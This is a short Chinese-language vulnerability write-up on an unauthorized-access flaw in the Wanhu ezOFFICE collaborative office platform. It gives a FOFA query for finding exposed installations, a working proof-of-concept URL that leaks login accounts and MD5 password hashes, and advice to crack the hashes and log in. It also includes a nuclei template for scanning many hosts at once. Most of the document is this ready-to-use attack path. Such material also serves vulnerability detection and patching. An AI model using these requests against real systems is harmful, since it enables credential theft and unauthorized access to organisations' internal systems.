万户OA未授权访问漏洞

漏洞简介

万户协同办公平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。

影响版本

version<=12.4.12.25

漏洞复现

fofa语法：app="万户网络-ezOFFICE"
登录页面如下：

POC：/defaultroot/evoInterfaceServlet?paramType=user

获取到登陆密码的MD5值去解密从而登陆系统

nuclei批量yaml文件

id: wanhu_unauthorized
info:
  name: 万户OA未授权访问漏洞
  author: mhb17
  severity: high
  description: description
  reference:
    - https://mp.weixin.qq.com/s/zb11jjRnBDwF49e6bmYpHw
  tags: unauth
requests:
  - raw:
      - |+
        GET /defaultroot/evoInterfaceServlet?paramType=user HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - result:'success'
      - type: word
        part: header
        words:
          - '200'